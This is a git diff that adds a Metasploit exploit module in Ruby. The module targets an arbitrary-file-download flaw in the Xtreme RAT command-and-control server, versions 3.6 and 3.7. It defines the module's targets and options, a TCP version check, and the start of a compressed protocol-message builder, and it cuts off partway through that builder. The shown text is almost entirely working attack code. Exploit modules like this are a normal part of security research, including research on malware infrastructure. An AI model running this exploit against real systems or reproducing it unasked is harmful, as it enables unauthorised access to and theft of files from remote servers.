diff --git a/xtreme.rb b/xtreme.rb new file mode 100644 index 0000000000..ad5d7cf09b --- /dev/null +++ b/xtreme.rb @@ -0,0 +1,123 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'zlib' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Xtreme Rat Controller Remote File Download Exploit', + 'Description' => %q{ + This module exploits an arbitrary file download vulnerability in the Xtreme C&C server + }, + 'Author' => 'Professor Plum', + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'Platform' => 'win', + 'DisclosureDate' => 'Jul 27 2017', + 'Targets' => + [ + ['Xtreme RAT 3.6', { 'Ver' => '3.6' }], + ['Xtreme RAT 3.7', { 'Ver' => '3.7' }] + ], + 'Privileged' => false, + 'DefaultTarget' => 1)) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETFILE', [false, 'Target file to download', 'user.info']) + ], self.class + ) + end + + @delm = "\xc2\x00\xaa\x00\xc2\x00\xaa\x00\xc2\x00\xaa\x00#\x00#\x00#\x00\xe2\x00\" a\x01\xe2\x00\" a\x01\xe2\x00\" a\x01".force_encoding('utf-16le') + @password = '' + @conid = '' + + def validate(b) + if b != "X\r\n" + print_status(b.inspect) + return false + end + true + end + + def check + connect + sock.put("myversion|#{target['Ver']}\r\n") + if validate(sock.recv(3)) + return Exploit::CheckCode::Appears + end + Exploit::CheckCode::Safe + end + + def make_string(cmd, msg) + pp = (cmd + @delm + msg) + pack = Zlib::Deflate.deflate(pp) + return @password + [pack.size, 0].pack('